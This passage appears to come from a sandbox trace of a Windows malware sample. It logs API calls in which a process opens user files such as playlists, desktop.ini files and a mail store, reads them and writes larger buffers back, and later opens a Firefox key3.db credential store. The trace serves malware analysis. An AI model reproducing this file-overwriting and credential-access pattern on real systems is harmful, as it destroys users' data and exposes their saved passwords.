lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0055.093] WriteFile (in: hFile=0x12c, lpBuffer=0x3a4ee28*, nNumberOfBytesToWrite=0xa87, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesWritten=0x2b0f2d0*=0xa87, lpOverlapped=0x0) returned 1 [0055.093] CloseHandle (hObject=0x12c) returned 1 [0055.094] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.094] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.094] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x437 [0055.094] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.094] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.094] ReleaseMutex (hMutex=0x128) returned 1 [0055.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12_All_Video.wpl", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0055.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12_All_Video.wpl", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12_All_Video.wpl", lpUsedDefaultChar=0x0) returned 16 [0055.094] ReadFile (in: hFile=0x12c, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x437, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x2b0f2bc*=0x437, lpOverlapped=0x0) returned 1 [0055.102] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0055.102] WriteFile (in: hFile=0x12c, lpBuffer=0x2804d18*, nNumberOfBytesToWrite=0x9bf, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2804d18*, lpNumberOfBytesWritten=0x2b0f2d0*=0x9bf, lpOverlapped=0x0) returned 1 [0055.102] CloseHandle (hObject=0x12c) returned 1 [0055.102] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.103] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.103] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x285 [0055.103] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.103] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.103] ReleaseMutex (hMutex=0x128) returned 1 [0055.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0055.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e633ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0055.103] ReadFile (in: hFile=0x12c, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x285, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0x285, lpOverlapped=0x0) returned 1 [0055.104] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0055.104] WriteFile (in: hFile=0x12c, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x80d, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x80d, lpOverlapped=0x0) returned 1 [0055.104] CloseHandle (hObject=0x12c) returned 1 [0055.104] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0055.508] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.508] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x204000 [0055.508] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.508] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.508] ReleaseMutex (hMutex=0x128) returned 1 [0055.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMail.MSMessageStore", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0055.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMail.MSMessageStore", cchWideChar=26, lpMultiByteStr=0x1e7faec, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMail.MSMessageStore", lpUsedDefaultChar=0x0) returned 26 [0055.508] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.514] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.515] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x2000, lpOverlapped=0x0) returned 1 [0055.515] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x202000 [0055.515] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x2000, lpOverlapped=0x0) returned 1 [0055.522] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x202000 [0055.523] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x2588, lpOverlapped=0x0) returned 1 [0055.523] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0055.523] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0055.524] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0055.524] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2b0f28c*=0x2000, lpOverlapped=0x0) returned 1 [0055.524] CloseHandle (hObject=0x1d4) returned 1 [0055.524] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\desktop.ini" (normalized: "c:\\users\\default\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0055.525] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.525] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x19c [0055.525] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.525] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.525] ReleaseMutex (hMutex=0x128) returned 1 [0055.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0055.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0055.525] ReadFile (in: hFile=0x1d4, lpBuffer=0x280f3d8, nNumberOfBytesToRead=0x19c, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x280f3d8*, lpNumberOfBytesRead=0x2b0f2bc*=0x19c, lpOverlapped=0x0) returned 1 [0055.526] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0055.526] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x724, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x724, lpOverlapped=0x0) returned 1 [0055.527] CloseHandle (hObject=0x1d4) returned 1 [0055.527] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0055.528] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.528] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x85 [0055.528] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.528] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.528] ReleaseMutex (hMutex=0x128) returned 1 [0055.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft At Work.url", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0055.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft At Work.url", cchWideChar=21, lpMultiByteStr=0x1e78b04, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft At Work.url", lpUsedDefaultChar=0x0) returned 21 [0055.528] ReadFile (in: hFile=0x1d4, lpBuffer=0x257de58, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257de58*, lpNumberOfBytesRead=0x2b0f2bc*=0x85, lpOverlapped=0x0) returned 1 [0055.529] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0055.529] WriteFile (in: hFile=0x1d4, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x2b0f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0055.529] CloseHandle (hObject=0x1d4) returned 1 [0055.530] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0055.531] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.531] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x85 [0055.531] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.531] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.531] ReleaseMutex (hMutex=0x128) returned 1 [0055.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Mail.url", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0055.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Mail.url", cchWideChar=21, lpMultiByteStr=0x1e78b04, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Live Mail.url", lpUsedDefaultChar=0x0) returned 21 [0055.531] ReadFile (in: hFile=0x1d4, lpBuffer=0x257de58, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257de58*, lpNumberOfBytesRead=0x2b0f2bc*=0x85, lpOverlapped=0x0) returned 1 [0055.532] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0055.532] WriteFile (in: hFile=0x1d4, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x2b0f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0055.532] CloseHandle (hObject=0x1d4) returned 1 [0055.532] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\desktop.ini" (normalized: "c:\\users\\default\\searches\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0055.533] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.533] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x20c [0055.534] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.534] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.534] ReleaseMutex (hMutex=0x128) returned 1 [0055.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0055.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e630ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0055.534] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x20c, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2b0f2bc*=0x20c, lpOverlapped=0x0) returned 1 [0055.535] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0055.535] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x794, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x794, lpOverlapped=0x0) returned 1 [0055.535] CloseHandle (hObject=0x1d4) returned 1 [0055.535] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0055.536] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.536] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x58 [0055.536] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.536] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.536] ReleaseMutex (hMutex=0x128) returned 1 [0055.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0055.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0055.536] ReadFile (in: hFile=0x1d4, lpBuffer=0x1ea3d80, nNumberOfBytesToRead=0x58, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3d80*, lpNumberOfBytesRead=0x2b0f2bc*=0x58, lpOverlapped=0x0) returned 1 [0055.537] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0055.537] WriteFile (in: hFile=0x1d4, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x2b0f2d0*=0x5e0, lpOverlapped=0x0) returned 1 [0055.537] CloseHandle (hObject=0x1d4) returned 1 [0055.537] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\sample media\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0055.538] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.538] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xab [0055.538] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.538] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.538] ReleaseMutex (hMutex=0x128) returned 1 [0055.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0055.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e630ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0055.539] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e36e88, nNumberOfBytesToRead=0xab, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36e88*, lpNumberOfBytesRead=0x2b0f2bc*=0xab, lpOverlapped=0x0) returned 1 [0055.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0055.539] WriteFile (in: hFile=0x1d4, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x633, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x2b0f2d0*=0x633, lpOverlapped=0x0) returned 1 [0055.540] CloseHandle (hObject=0x1d4) returned 1 [0055.540] GetCurrentThreadId () returned 0x8ec [0055.540] GetCurrentThreadId () returned 0x8ec [0055.540] GetCurrentThreadId () returned 0x8ec [0055.540] SetEvent (hEvent=0xc4) returned 1 [0055.540] RtlExitUserThread (Status=0x0) Thread: id = 78 os_tid = 0x8ac [0031.882] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.883] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.883] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4000 [0031.883] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.883] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.883] ReleaseMutex (hMutex=0x128) returned 1 [0031.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="key3.db", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="key3.db", cchWideChar=7, lpMultiByteStr=0x1e6a81c, cbMultiByte=7, 